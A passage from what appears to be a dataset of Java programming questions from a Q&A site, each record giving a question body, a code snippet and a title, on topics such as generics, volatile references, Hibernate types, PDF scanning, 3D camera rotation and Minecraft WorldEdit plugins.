implementations of testLoop.So how and when does the Java compiler decide if a method actually needs a return value ? Unfortunately , an answer was deleted which mentioned the halting problem . I guess the Java compiler does not put effort on tracing methods like the example given above since it can not find all possible loops in a general setting .",public class Test { private String testLoop ( ) { while ( true ) { } } public static void main ( String [ ] args ) { Test test = new Test ( ) ; test.testLoop ( ) ; } } private String testLoop ( ) { while ( true ) { if ( false == true ) { break ; } } return null ; },Why do I not need to provide a return value after an endless loop ? +Java,I 'm looking a way to bind Type for specific entity fields during entity manager configuration phase . I need it to be able to apply extra `` rules '' to target entity field using external source without entity class changes.So basically I 'm trying to avoid hardcode @ Type annotation way as below : Instead I would like to set Type for someField while building model programmatically .,"@ Type ( type = foo.package.MyType , parameters = { @ Parameter ( name = `` fooProperty '' , value = `` fooValue '' ) } ) private String someField ;",How to programmatically bind Hibernate Type for selected entity fields ? +Java,"Setup : I have an interface for some formatters : I have a factory creating such formatters : Now I use this factory to obtain the formatter & I use it : The items list contains only AbstractItem subtypes that the formatter is able to process.Problem : I am getting two warnings : OK , so I try to fix the first one : I know that the factory returns something descended from AbstractItem : Now the warning on Line 1 disappears , but a new error on Line 3 occurs : So if I understand correctly , it 's complaining that AbstractItem is not a sub-type of AbstractItem ( as required in the type constraint < ? extends AbstractItem > ) . Fair enough , but AbstractItem is abstract , so the item I pass to the formatter is always of some type extending AbstractItem ... How do I explain this to the compiler ? For now my solution is to go with the @ SuppressWarnings ...",interface Formatter < T extends AbstractItem > { String format ( T item ) ; } public class Factory { public static Formatter < ? extends AbstractItem > create ( ) { switch ( something ) { case SOMETHING : return new Formatter < SomeItem > ( ) { String format ( SomeItem item ) { ... } } ; case SOMETHING_ELSE : return new Formatter < OtherItem > ( ) { String format ( OtherItem item ) { ... } } ; } 1 : Formatter formatter = Factory.create ( ) ; 2 : for ( AbstractItem item : items ) { 3 : formatter.format ( item ) ; 4 : } Line 1 : Formatter is a raw type . References to generic type Formatter < T > should be parameterized.Line 3 : Type safety : The method format ( AbstractItem ) belongs to the raw type Formatter . References to generic type Formatter < T > should be parameterized . 1 : Formatter < ? extends AbstractItem > formatter = Factory.create ( ) ; Line 3 : The method format ( capture # 3-of ? extends AbstractItem ) in the type Formatter < capture # 3-of ? extends AbstractItem > is not applicable for the arguments ( AbstractItem ) .,Java generics vs . Factory +Java,Let 's say we have a list reference : now thread 1 initializes it : then thread 2 does : Is `` o '' guaranteed to refer to the string added by the thread 1 ? Or am I missing something ? Assuming that the code from the thread 1 is executed before the code from the thread 2 .,"volatile List < Object > a ; List < Object > newA = new LinkedList < > ( ) ; newA.add ( new String ( `` a '' ) ) ; a = newA ; // Write to a volatile ( equivalent to exiting a synchronized block in terms of memory barriers ) Object o = a.get ( 0 ) ; // Compound operation - first we read a volatile reference value , then invoke .get ( ) method on it . Read to a volatile is equivalent to entering a synchronized block .",Is volatile enough for changing reference to a list ? +Java,"I 'm writing a simple scanning application using jfreesane and Apache PDFBox . Here is the scanning code : And making PDF : And here is the result : As you can see the PDF image is more `` pale '' ( saturation ? - sorry , I 'm not good at color theory and do n't know how to name it correctly ) .What I have found out : Printing BufferedImage to JLabel using JLabel ( new ImageIcon ( bimg ) ) constructor produces the same result as with PDF ( `` pale '' colors ) so I guess PDFBox is not the reason.Changing scanning resolution -no effect.bimg.getTransparency ( ) returns 1 ( OPAQUE ) bimg.getType ( ) returns 0 ( TYPE_CUSTOM ) PNG file : http : //s000.tinyupload.com/index.php ? file_id=95648202713651192395PDF filehttp : //s000.tinyupload.com/index.php ? file_id=90369236997064329368","InetAddress address = InetAddress.getByName ( `` 192.168.0.17 '' ) ; SaneSession session = SaneSession.withRemoteSane ( address ) ; List < SaneDevice > devices = session.listDevices ( ) ; SaneDevice device = devices.get ( 0 ) ; device.open ( ) ; device.getOption ( `` resolution '' ) .setIntegerValue ( 300 ) ; BufferedImage bimg = device.acquireImage ( ) ; File file = new File ( `` test_scan.png '' ) ; ImageIO.write ( bimg , `` png '' , file ) ; device.close ( ) ; PDDocument document = new PDDocument ( ) ; float width = bimg.getWidth ( ) ; float height = bimg.getHeight ( ) ; PDPage page = new PDPage ( new PDRectangle ( width , height ) ) ; document.addPage ( page ) ; PDImageXObject pdimg = LosslessFactory.createFromImage ( document , bimg ) ; PDPageContentStream stream = new PDPageContentStream ( document , page , PDPageContentStream.AppendMode.APPEND , true ) ; stream.drawImage ( pdimg , 0 , 0 ) ; stream.close ( ) ; document.save ( filename ) ; document.close ( ) ;",BufferedImage color saturation +Java,"The problem is in a generic restriction : Real return type is ArrayList < Class < Override > > Method expects List < Class < ? extends Annotation > > Class < Override > is a subtype of Class < ? extends Annotation > Class < ? extends Annotation > c = Override.class ; //allowedArrayList is a subtype of a List , if types of the elements match : List < ? extends Number > l = new ArrayList < Integer > ( ) ; // allowedHowever , this is not allowed : Is it even possible or Class wildcards are broken ?",public List < Class < ? extends Annotation > > getAnnotations ( ) { return new ArrayList < > ( Arrays.asList ( Override.class ) ) ; } List < Class < ? extends Annotation > > l = Arrays.asList ( Override.class ) ; List < Class < ? extends Annotation > > l = new ArrayList < > ( Arrays.asList ( Override.class ) ) ;,Is it possible to implement method with signature List < Class < ? extends Annotation > > in Java ? +Java,"How do I perform a Boolean To Enum refactor in IntelliJ IDEA ? For example , convert this : Into this :","void changeLights ( boolean isOn ) { this.isOn = isOn ; } changeLights ( true ) ; changeLights ( false ) ; enum LightState { ON , OFF } void changeLights ( LightState lightState ) { this.lightState = lightState ; } changeLights ( LightState.ON ) ; changeLights ( LightState.OFF ) ;",How do I perform a Boolean To Enum refactor in IntelliJ IDEA ? +Java,"Working on below algorithm puzzle . Post problem statement and solution working on . The question is , whether we need `` search both halves '' part to keep it safe ? Or when a [ left ] == a [ mid ] , we can just search right part without checking whether a [ mid ] == a [ right ] -- since when a [ left ] == a [ mid ] , I think all elements on the left are equal and can not be satisfied with search condition to find value.In more details , I mean whether it is safe to write last else if as , Problem statementGiven a sorted array of n integers that has been rotated unknown number of times , write code to find an elementin the array , you may assume that the array was originally sorted in increasing orderExample , Input find 5 in { 15 , 16 , 19 , 20 , 25 , 1 , 3 , 4 , 5 , 7 , 10 , 14 } Output , 8 ( the index of 5 in the array ) Code","else if ( a [ left ] == a [ mid ] ) { return search ( a , mid + 1 , right , x ) ; } public static int search ( int a [ ] , int left , int right , int x ) { int mid = ( left + right ) / 2 ; if ( x == a [ mid ] ) { // Found element return mid ; } if ( right < left ) { return -1 ; } /* While there may be an inflection point due to the rotation , either the left or * right half must be normally ordered . We can look at the normally ordered half * to make a determination as to which half we should search . */ if ( a [ left ] < a [ mid ] ) { // Left is normally ordered . if ( x > = a [ left ] & & x < a [ mid ] ) { return search ( a , left , mid - 1 , x ) ; } else { return search ( a , mid + 1 , right , x ) ; } } else if ( a [ mid ] < a [ left ] ) { // Right is normally ordered . if ( x > a [ mid ] & & x < = a [ right ] ) { return search ( a , mid + 1 , right , x ) ; } else { return search ( a , left , mid - 1 , x ) ; } } else if ( a [ left ] == a [ mid ] ) { // Left is either all repeats OR loops around ( with the right half being all dups ) if ( a [ mid ] ! = a [ right ] ) { // If right half is different , search there return search ( a , mid + 1 , right , x ) ; } else { // Else , we have to search both halves int result = search ( a , left , mid - 1 , x ) ; if ( result == -1 ) { return search ( a , mid + 1 , right , x ) ; } else { return result ; } } } return -1 ; }",rotated ordered array search +Java,I 'm programming a big game in Java and I 'm trying to optimize the code but also to keep the code neat and well organized . Now I am unsure if I should use the public static field of single classes that have a couple of variables that are used by a lot of instances . For example the class camera has an x and y position that define what part of the map the user is looking at and what needs to be drawn to the screen . Currently I 'm benchmarking with 50 000 units and I have the following options to draw them . 1 : Store a reference to the instance of the camera in each unit and call getX ( ) and getY ( ) when it should be drawn:2 : Supply the coordinates of the camera as arguments to each unit when it should be drawn:3 : Make the x and y variables of the camera class static : I 'm interested as what is generally seen as the best solution and if it affects performance . Perhaps there are more ways to do this I have n't thought of yet ? Thanks !,"public void paint ( ) { paint ( x - camera.getX ( ) , y - camera.getY ( ) ) ; } public void paint ( int cameraX , int cameraY ) { paint ( x - cameraX , y - cameraY ) ; } public void paint ( ) { paint ( x - Camera.x , y - Camera.y ) ; }","Use of the public static field , good programming practice/fast ?" +Java,"I am trying to convert a method from c++ to java . Here is the method : Problem is with the methods of OpenCv . Here is some detail : I did n't find CV_Assert method in java . dont know any alternatefor that.cmyk.push_back is replaced with cmyk [ i ] .pushbacki have used Mat replacing cv : :Vec3b , it is shows no errorstd : :max is replaced with Math.maxissue is assignment to cmyk [ 0 ] .at < float > ( i , j ) Do any one have suggestion or any better approach of changing this method to java.Thanks in advance for help ... .EditWhat i did","void rgb2cmyk ( cv : :Mat & src , std : :vector < cv : :Mat > & cmyk ) { CV_Assert ( src.type ( ) == CV_8UC3 ) ; cmyk.clear ( ) ; for ( int i = 0 ; i < 4 ; ++i ) cmyk.push_back ( cv : :Mat ( src.size ( ) , CV_32F ) ) ; for ( int i = 0 ; i < src.rows ; ++i ) { for ( int j = 0 ; j < src.cols ; ++j ) { cv : :Vec3b p = src.at < cv : :Vec3b > ( i , j ) ; float r = p [ 2 ] / 255. ; float g = p [ 1 ] / 255. ; float b = p [ 0 ] / 255. ; float k = ( 1 - std : :max ( std : :max ( r , g ) , b ) ) ; cmyk [ 0 ] .at < float > ( i , j ) = ( 1 - r - k ) / ( 1 - k ) ; cmyk [ 1 ] .at < float > ( i , j ) = ( 1 - g - k ) / ( 1 - k ) ; cmyk [ 2 ] .at < float > ( i , j ) = ( 1 - b - k ) / ( 1 - k ) ; cmyk [ 3 ] .at < float > ( i , j ) = k ; } } } public void rgb2xmyk ( Mat src , Mat [ ] cmyk ) { //CV_Assert ( src.type ( ) == CV_8UC3 ) ; //cmyk.clear ( ) ; for ( int i = 0 ; i < 4 ; ++i ) cmyk [ i ] .push_back ( new Mat ( src.size ( ) , CvType.CV_32F ) ) ; for ( int i = 0 ; i < src.rows ; ++i ) { for ( int j = 0 ; j < src.cols ; ++j ) { double [ ] p = src.get ( i , j ) ; float r = ( float ) ( p [ 2 ] / 255 . ) ; float g = ( float ) ( p [ 1 ] / 255 . ) ; float b = ( float ) ( p [ 0 ] / 255 . ) ; float k = ( 1 - Math.max ( Math.max ( r , g ) , b ) ) ; cmyk [ 0 ] .at < float > ( i , j ) = ( 1 - r - k ) / ( 1 - k ) ; cmyk [ 1 ] .at < float > ( i , j ) = ( 1 - g - k ) / ( 1 - k ) ; cmyk [ 2 ] .at < float > ( i , j ) = ( 1 - b - k ) / ( 1 - k ) ; cmyk [ 3 ] .at < float > ( i , j ) = k ; } } }",trouble porting RGB2CMYK method from c++ to java +Java,"From the design perspective , I am wondering should I test the data , especially if it 's a generally known data ( not something very configurable ) - this can apply to things like popular file extensions , special IP addresses etc.Suppose we have a emergency phone number classifier : Should I test it this way ( `` 911 '' duplication ) : or ( test if properly recognized `` configured '' number ) : or inject `` 911 '' in the constructor , which looks the most reasonable for me , but even if I do so - should I wrote a test for the `` application glue '' if the component was instantiated with proper value ? If someone can do a typo in data ( code ) , then I see no reasons someone can do a typo in tests case ( I bet such data would be copy-paste )",public class ContactClassifier { public final static String EMERGENCY_PHONE_NUMBER = `` 911 '' ; public boolean isEmergencyNumber ( String number ) { return number.equals ( EMERGENCY_PHONE_NUMBER ) ; } } @ Testpublic testClassifier ( ) { assertTrue ( contactClassifier.isEmergencyNumber ( `` 911 '' ) ) ; assertFalse ( contactClassifier.isEmergencyNumber ( `` 111-other-222 '' ) ) ; } @ Testpublic testClassifier ( ) { assertTrue ( contactClassifier.isEmergencyNumber ( ContactClassifier.EMERGENCY_PHONE_NUMBER ) ) ; assertFalse ( contactClassifier.isEmergencyNumber ( `` 111-other-222 '' ) ) ; },"Should I test ( duplicate ) data , or only the behavior ?" +Java,"If I 'm calling a function from orElse , the function is executed even if the Optional is not empty . Is there any way to restrict the execution of the function to only when the Optional is empty ?",Optional.ofNullable ( someValue ) .orElse ( someFunction ( ) ) ;,How to prevent the function passed to Optional 's orElse from being executed when the Optional is not empty ? +Java,"There 's no particular reason I want to do this - I 'm just wondering if it is possible . If it helps , here 's a fictional situation in which it could be used : Imagine a type of Enum which is used as a read-only data source , such that each value of the Enum contains distinct content . The Enum implements Readable . Now , suppose we want a method that reads all values of the Enum into a single buffer . That could be implemented as a static utility method in a helper class ( see below ) .Preferably , that method would be declared in an interface , but that could be confusing , since it would n't be immediately obvious that non-Enum classes should not implement such a method . Ideally , the interface could be defined in such a way that the compiler would ensure it was only implemented by subclasses of Enum . Here 's an example of what that interface could possibly look like : I do n't think it 's possible to make the compiler ensure that ReadableEnum is only implemented by subclasses of Enum - is that correct ?","public class ReadableEnumUtils { /** reads data from all enum values into the charbuffer */ public static < T extends Enum < T > & Readable > int readAll ( Class < T > clazz , CharBuffer cb ) throws IOException { int total = 0 ; for ( T e : clazz.getEnumConstants ( ) ) { int intermediate = e.read ( cb ) ; if ( intermediate < 0 ) { throw new IllegalArgumentException ( `` The enum value \ ' '' + e.name ( ) + `` \ ' had no data to read . `` ) ; } total += intermediate ; } return total ; } } interface ReadableEnum extends Readable { int read ( CharBuffer cb ) throws IOException ; int readAll ( CharBuffer cb ) throws IOException ; }",Can a Java interface be defined such that only Enums can extend it ? +Java,"Per default , IntelliJ 15.0.3 puts the closing brace of an empty lambda expression on the next line when reformatting the code.In my opinion this is slightly detrimental to code readability and I want to keep the empty lambda expression on the same line : Where can I find the setting to change this ?",Consumer < String > myFunc= aString - > { } ; Consumer < String > myFunc= aString - > { } ;,Empty lambda expression on same line +Java,"I 'm making a game that uses an entire planet for its map . I 've tessellated the spherical planet using this technique , and am now adding in camera controls.The sphere is of dimensions 1 to -1 , so each point on the sphere is also a normalized vector . At any one time , one of the hexagonal tiles that make up the sphere is the 'selected ' tile . The player can then move the selection to neighbouring tiles using the d-pad . They can also independently rotate the camera around using the analogue stickI need to do two things with relation to the selected tile and the camera . Firstly , I need to be able to switch the selection to the tile that is nearest the camera . Secondly , I need to centre the camera on the highlighted tileThe sphere sits on the origin , and the camera sits at point ( 0,0,1 ) . The graphics engine only allows me to rotate the camera around the X and Y axes , so to solve the first problem , I use quaternions to rotate the point ( 0,0,1 ) around the x and then y axes to find the point in 3D space where the camera is : I then compare the distances between the centroid of each tile and the camera position , and take the tile that is closest to be the newly selected tile.However , to solve the second problem , I want to do the reverse . I want to take the centroid ( which is already in the form of a normalized vector ) , and find out the rotation around the X and rotation around the Y needed to get the camera to centre on itAt the moment , I 'm rotating the camera back to ( 0,0,1 ) , then getting the angle in the X axis and Y axis between ( 0,0,1 ) and the centroid and using that to rotate the camera a second time : and in selected ( the tile class ) The problem is this does n't work , ( the x axis always seems to be out ) , and I 'm pretty sure it is to do with the maths of getting the angles and doing the rotating Note : the graphics engine rotates first around the X axis , then around the Y : The centroids are all in the correct place , and the camera definitely rotates by the correct amounts , so I 'm sure the problem is not with the graphics engine . It 's also not the re-positioning of the camera back to ( 0,0,1 ) as I 've checked this works by stepping through the programI 've also made a video to illustrate the problem : http : //www.youtube.com/watch ? v=Uvka7ifZMlEThis has been bugging me for a number of days , so any help in getting this fixed would be very much appreciated ! ThanksJames","private Quaternion quat = new Quaternion ( 0,0,0,0 ) ; private double [ ] output = new double [ 4 ] ; private double [ ] cam = new double [ 3 ] ; private double camX = 0 ; private double camY = 0 ; private double camZ = 1 ; private double [ ] getCamPosition ( ) { quat.setAxisAngle ( 1 , 0 , 0 , Math.toRadians ( -graphicsEngine.getRotationX ( ) ) ) ; quat.RotateVector ( camX , camY , camZ , output ) ; cam [ 0 ] = output [ 0 ] ; cam [ 1 ] = output [ 1 ] ; cam [ 2 ] = output [ 2 ] ; quat.setAxisAngle ( 0 , 1 , 0 , Math.toRadians ( -graphicsEngine.getRotationY ( ) ) ) ; quat.RotateVector ( cam [ 0 ] , cam [ 1 ] , cam [ 2 ] , output ) ; cam [ 0 ] = output [ 0 ] ; cam [ 1 ] = output [ 1 ] ; cam [ 2 ] = output [ 2 ] ; return cam ; } private double [ ] outputArray = new double [ 2 ] ; /** * Cam is always ( 0,0,1 ) */public void centreOnSelected ( double camX , double camY , double camZ ) { selectedTile.getCentroidAngles ( outputArray ) ; outputArray [ 0 ] -= Math.atan2 ( camZ , camY ) ; outputArray [ 1 ] -= Math.atan2 ( camX , camZ ) ; // this determines if the centroid is pointing away from the camera // I.e . is on the far side of the sphere to the camera point ( 0,0,1 ) if ( ! selected.getCentroidDirectionY ( camX , camZ ) ) { outputArray [ 0 ] = -Math.PI - outputArray [ 0 ] ; } graphicsEngine.rotateCam ( Math.toDegrees ( outputArray [ 0 ] ) , Math.toDegrees ( outputArray [ 1 ] ) ) ; } void getCentroidAngles ( double [ ] outputArray ) { outputArray [ 0 ] = Math.atan2 ( centroidZ , centroidY ) ; outputArray [ 1 ] = Math.atan2 ( centroidX , centroidZ ) ; } gl.glRotatef ( mRotateX , 1 , 0 , 0 ) ; gl.glRotatef ( mRotateY , 0 , 1 , 0 ) ;",Rotating a Camera to a Point +Java,"I am following the tutorial which shows how to connect to google sheets using Java . It uses gradle to get the dependencies as suchWhen I run the example QuickStart.java class from inside IntelliJ , I can see errors aroundsaying no library found . In IntelliJ 's toolbar , I went to File - > Project Structure - > Dependencies and added the 3 items from build.gradle . Afterwards the errors around the imports disappeared . When I run the class I get If I run this in terminal using gradle -q run , everything completes . Somehow the value of is null when running in IntelliJ , but not when running in terminalEdit : This is what the project tree looks like",apply plugin : 'java'apply plugin : 'application'mainClassName = 'Quickstart'sourceCompatibility = 1.8targetCompatibility = 1.8version = ' 1.0'repositories { mavenCentral ( ) } dependencies { compile 'com.google.api-client : google-api-client:1.22.0 ' compile 'com.google.oauth-client : google-oauth-client-jetty:1.22.0 ' compile 'com.google.apis : google-api-services-sheets : v4-rev483-1.22.0 ' } import com.google.api.client.auth.oauth2.Credential ; import com.google.api.client.extensions.java6.auth.oauth2.AuthorizationCodeInstalledApp ; import com.google.api.client.extensions.jetty.auth.oauth2.LocalServerReceiver ; import com.google.api.client.googleapis.auth.oauth2.GoogleAuthorizationCodeFlow ; import com.google.api.client.googleapis.auth.oauth2.GoogleClientSecrets ; import com.google.api.client.googleapis.javanet.GoogleNetHttpTransport ; import com.google.api.client.http.HttpTransport ; import com.google.api.client.json.jackson2.JacksonFactory ; import com.google.api.client.json.JsonFactory ; import com.google.api.client.util.store.FileDataStoreFactory ; import com.google.api.services.sheets.v4.SheetsScopes ; import com.google.api.services.sheets.v4.model . * ; import com.google.api.services.sheets.v4.Sheets ; objc [ 1649 ] : Class JavaLaunchHelper is implemented in both /Library/Java/JavaVirtualMachines/jdk1.8.0_144.jdk/Contents/Home/bin/java ( 0x102cf14c0 ) and /Library/Java/JavaVirtualMachines/jdk1.8.0_144.jdk/Contents/Home/jre/lib/libinstrument.dylib ( 0x102db94e0 ) . One of the two will be used . Which one is undefined.Exception in thread `` main '' java.lang.NullPointerException at java.io.Reader. < init > ( Reader.java:78 ) at java.io.InputStreamReader. < init > ( InputStreamReader.java:72 ) at Quickstart.authorize ( Quickstart.java:67 ) at Quickstart.getSheetsService ( Quickstart.java:90 ) at Quickstart.main ( Quickstart.java:98 ) InputStream in = Quickstart.class.getResourceAsStream ( `` /client_secret.json '' ) ;,Google sheets Java API can not find client_secrets ? +Java,"I have a clarification about some Java code : What 's the difference between these codes , that one can be compiled while the other can not .I 'm not interested on `` how to fix the error '' because I 've already solved it , but more on an explanation about the problem : WorkingNot WorkingThe errors of Eclipse are : Multiple markers at this line : String can not be resolved to a variableSyntax error on token `` tmp '' , delete this tokenString can not be resolved to a variableSyntax error on token `` tmp '' , delete this token","public void x ( ) { HashMap < String , Integer > count= new HashMap < String , Integer > ( ) ; Scanner scan= new Scanner ( `` hdsh '' ) ; String tmp ; while ( ( tmp=scan.next ( ) ) ! =null ) { if ( count.containsKey ( tmp ) ) { count.put ( tmp , 1 ) ; } else { count.put ( tmp , count.get ( tmp ) +1 ) ; } tmp=scan.next ( ) ; } } public void x ( ) { HashMap < String , Integer > count= new HashMap < String , Integer > ( ) ; Scanner scan= new Scanner ( `` hdsh '' ) ; while ( ( String tmp=scan.next ( ) ) ! =null ) { if ( count.containsKey ( tmp ) ) { count.put ( tmp , 1 ) ; } else { count.put ( tmp , count.get ( tmp ) +1 ) ; } tmp=scan.next ( ) ; } }",Why is `` while ( ( String tmp=x ) ) '' not valid Java syntax ? +Java,"Let 's say I have an array : I want to create String with value `` matt '' , so starting from chars ' index 2 to 5 . Is there a built-in method to achieve this , or I must do looping ?","char [ ] chars= { ' X ' , ' X ' , 'm ' , ' a ' , 't ' , 't ' , ' X ' , ' X ' } ;",Convert char [ ] arrays to String +Java,"The following example describes the generation of the following lines of code until Java 9.In Java 10 , iterator variables are declared outside for loops and initialized to the null value immediately once the operation is over , so GC can get rid of unused memory.How is setting reference null explicitly better than reference going out of scope by the end of the for loop.Source : https : //dzone.com/articles/features-in-java-10Also , adding link from the comments : https : //bugs.openjdk.java.net/browse/JDK-8192858",List data = new ArrayList < > ( ) ; for ( String b : data ) ; public class Test { public Test ( ) { } public static void main ( String [ ] paramArrayOfString ) throws IOException { ArrayList localArrayList = new ArrayList ( ) ; String str ; for ( Iterator localIterator = localArrayList.iterator ( ) ; localIterator.hasNext ( ) ; str = ( String ) localIterator.next ( ) ) { } } { Iterator iterator = data.iterator ( ) ; for ( ; iterator.hasNext ( ) ; ) { String b = ( String ) iterator.next ( ) ; } b = null ; iterator = null ; },Java 10 : Byte Code Generation for Enhanced For Loops +Java,"I am trying to update blocks in Minecraft within a Bukkit mod and be able to //undo those changes within Minecraft . I can change the block but I can not //undo the change.I must be missing something simple since Google has n't helped me find a solution.Here is my mod . It sets a single block from the currently selected region to air . The commented out lines are things I have tried that did n't work for me.EDIT : Here is what works . Thanks sorifiend for the answer below . To get it to work , I also had to move localSession.remember ( editSession ) to after the setBlock call.Now I can select something with WorldEdit , run /setair to set one of the blocks to air . And //undo does what you 'd expect .","public class Main extends JavaPlugin implements Listener { // ... // @ Override public boolean onCommand ( CommandSender sender , Command command , String label , String [ ] args ) { if ( command.getName ( ) .equalsIgnoreCase ( `` setair '' ) ) { org.bukkit.entity.Player bukkitPlayer = ( org.bukkit.entity.Player ) sender ; WorldEditPlugin worldEditPlugin = null ; worldEditPlugin = ( WorldEditPlugin ) Bukkit.getServer ( ) .getPluginManager ( ) .getPlugin ( `` WorldEdit '' ) ; if ( worldEditPlugin == null ) { bukkitPlayer.sendMessage ( `` Error : WorldEdit is null . `` ) ; } else { com.sk89q.worldedit.bukkit.selections.Selection s = worldEditPlugin.getSelection ( bukkitPlayer ) ; com.sk89q.worldedit.LocalSession localSession = worldEditPlugin.getSession ( bukkitPlayer ) ; com.sk89q.worldedit.world.World localWorld = localSession.getSelectionWorld ( ) ; com.sk89q.worldedit.bukkit.BukkitPlayer wrappedPlayer = worldEditPlugin.wrapPlayer ( bukkitPlayer ) ; com.sk89q.worldedit.LocalPlayer localPlayer = wrappedPlayer ; //com.sk89q.worldedit.world.World localWorld2 = localPlayer.getWorld ( ) ; com.sk89q.worldedit.EditSession editSession = worldEditPlugin.getWorldEdit ( ) .getEditSessionFactory ( ) .getEditSession ( localWorld , -1 , localPlayer ) ; //com.sk89q.worldedit.EditSession editSession = worldEditPlugin.createEditSession ( bukkitPlayer ) ; //localSession.remember ( editSession ) ; Vector minV = s.getNativeMinimumPoint ( ) ; try { editSession.setBlock ( minV , new com.sk89q.worldedit.blocks.BaseBlock ( 0,0 ) ) ; } catch ( MaxChangedBlocksException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } //try { // localWorld.setBlock ( minV , new com.sk89q.worldedit.blocks.BaseBlock ( 0,0 ) ) ; // } catch ( WorldEditException e ) { // TODO Auto-generated catch block // e.printStackTrace ( ) ; // } localSession.getRegionSelector ( localWorld ) .learnChanges ( ) ; localSession.getRegionSelector ( localWorld ) .explainRegionAdjust ( localPlayer , localSession ) ; bukkitPlayer.performCommand ( `` tellraw @ p \ '' Done setair\ '' '' ) ; } return true ; } } } @ Overridepublic boolean onCommand ( CommandSender sender , Command command , String label , String [ ] args ) { if ( command.getName ( ) .equalsIgnoreCase ( `` setair '' ) ) { org.bukkit.entity.Player bukkitPlayer = ( org.bukkit.entity.Player ) sender ; WorldEditPlugin worldEditPlugin = null ; worldEditPlugin = ( WorldEditPlugin ) Bukkit.getServer ( ) .getPluginManager ( ) .getPlugin ( `` WorldEdit '' ) ; if ( worldEditPlugin == null ) { bukkitPlayer.sendMessage ( `` Error : WorldEdit is null . `` ) ; } else { com.sk89q.worldedit.bukkit.selections.Selection s = worldEditPlugin.getSelection ( bukkitPlayer ) ; com.sk89q.worldedit.LocalSession localSession = worldEditPlugin.getSession ( bukkitPlayer ) ; com.sk89q.worldedit.EditSession editSession = worldEditPlugin.createEditSession ( bukkitPlayer ) ; Vector minV = s.getNativeMinimumPoint ( ) ; try { editSession.setBlock ( minV , new com.sk89q.worldedit.blocks.BaseBlock ( 0,0 ) ) ; } catch ( MaxChangedBlocksException e ) { e.printStackTrace ( ) ; } localSession.remember ( editSession ) ; bukkitPlayer.performCommand ( `` tellraw @ p \ '' Done setair\ '' '' ) ; } return true ; } }",How to use Minecraft 's WorldEdit undo stack in a Bukkit mod +Java,"I 'm looking for a way to create a collection , list , set , or map which contains the transformed elements of an original collection and reflects every modification in that collection.For example if I have a List < Integer > from a third party API and another API is expecting a List < String > . I know I can transform the list like this : The problem is , if anything is changed in one of the lists the other one will still reflect the previous state . Let 's assume that intList contains [ 1 , 2 , 3 ] : So I 'm searching for something like List.sublist ( from , to ) where the result is `` backed '' by the original list.I 'm thinking of implementing my own list wrapper which is used like this : The second lambda is for inverting the conversion , to support calls like stringList.add ( String ) .But before I implement it myself I would like to know if I try to reinvent the wheel - maybe there is already a common solution for this problem ?","List < Integer > intList = thirdPartyBean.getIntListProperty ( ) ; List < String > stringList = intList.stream ( ) .map ( Integer : :toString ) .collect ( Collectors.toList ( ) ) ; secondBean.setStringListProperty ( stringList ) ; intList.add ( 4 ) ; stringList.remove ( 0 ) ; System.out.println ( intList.toString ( ) ) ; // will print : [ 1 , 2 , 3 , 4 ] System.out.println ( stringList.toString ( ) ) ; // will print : [ 2 , 3 ] // Expected result of both toString ( ) : [ 2 , 3 , 4 ] List < String > stringList = new MappedList < > ( intList , Integer : :toString , Integer : :valueOf ) ;",Map collection elements and keep reference to source collection +Java,"I 'm making a Checkers game for an assignment . The whole thing is running the way it should , except for one weird thing . Here 's my board : I move by giving the source row and column , then the destination row and column.I 'm supposed to print out an error if I try to move a piece to an invalid spot ( not diagonally ) . So if I try to move a piece from 5 2 - > 4 2 , it gives me an error message.For most things it works , but if I try to move directly down one space ( for example , 2 3 - > 3 3 ) it 's moving the piece and not giving me the error message.I 'm stuck ! Any ideas why this may be happening ? I can post more code if needed .","move ( int srcR , int srcC , int destR , int destC ) if ( destR == srcR+1 || destR == srcR-1 & & destC == srcC+1 || destC == srcC-1 ) { // code code code } else message = `` Invalid Move ! Can only move diagonally one space . `` ;",Checkers Game : Not Error Checking Correctly ? +Java,"I have this doubt for a long time ... hope anyone can enlight me.Suppose I have 3 classes in my model.and a service class with a method that returns a Document ( either a Letter or Email ) .So in my controller I want to display the Document returned by MyService , and I want it to be displayed using a view for the Email and other for the Letter.How could a controller know which document view invoke ? the letterView or the emailView ? .Often I make an if statement on the controller to check the type of the Document received by the service tier ... however I dont think it is the best approach from the OOP point of view , also if I implement a few boolean methods Document.isLetter ( ) , Document.isEmail ( ) the solution is , in essence , the same.Another thing is to delegate the view selection to the Document somehow . something like : But , omg , why my model objects must know anything about the view ? Any toughts are appreciated : )",abstract class Document { } class Letter extends Document { } class Email extends Document { } class MyService { public Document getDoc ( ) { ... } } class MyController { public View handleSomething ( ) { Document document = myService.getDocument ( ) ; return document.getView ( ) ; } },polymorphism and n-tier applications +Java,"In JDBC , I only see examples usingand have n't seen one usingIs it because we want to let a driver package be dynamically provided at execution time , so can be known only at execution time ? If we have a fixed driver package known before execution , is it possible to go with the second way ? How would you compare the two ways ? Thanks .","Class.forName ( `` com.mysql.jdbc.Driver '' , true , cl ) ; import com.mysql.jdbc.Driver ;",Why is JDBC dynamically loaded instead of imported ? +Java,"Why is the method isJavaLetterOrDigit in java.lang.Character deprecated ? The docs say that the method isJavaIdentifierPart should be used instead , but do n't indicate why . The documentation for the two methods is otherwise identical . Googling the subject did not turn up any explanation.In fact , a source code search shows that nowadays , one just calls the other , so there is no difference in behavior . Was it just deprecated because it had a more confusing name ? Seems like a rather strange decision .",@ Deprecatedpublic static boolean isJavaLetterOrDigit ( char ch ) { return isJavaIdentifierPart ( ch ) ; },Why is isJavaLetterOrDigit deprecated ? +Java,"Let 's say I have a runnable with a simple integer count variable which is incremented every time runnable runs . One instance of this object is submitted to run periodically in a scheduled executor service.Here , the object is accessing its own internal state inside of different threads ( reading and incrementing ) . Is this code thread-safe or is it possible that we lose updates to the count variable when it 's scheduled in a different thread ?","class Counter implements Runnable { private int count = 0 ; @ Override public void run ( ) { count++ ; } } Counter counter = new Counter ( ) ; ScheduledExecutorService executorService = Executors.newScheduledThreadPool ( 5 ) ; executorService.scheduleWithFixedDelay ( counter , 1 , 1 , TimeUnit.SECONDS ) ;",Does an object always see its latest internal state irrespective of thread ? +Java,"EDIT : I 'm using the LeanFT Java SDK 14.50EDIT2 : for text clarificationI 'm writing test scripts for a web application that sometimes opens popup browsers for specific actions . So natually when that happens , I will attach the new browser using BrowserFactory.attach ( ... ) . The problem is that leanFT does not seem to have a way to validate that the browser exists before attaching it , and if I try to attach it too early , it will fail . And I do n't like to use an arbitrairy wait/sleep time as I can never really know how much time it 's going to take for the browser to get be ready . So my solution to this is belowNow , this works wonderfully with one exception . It generates errors in the 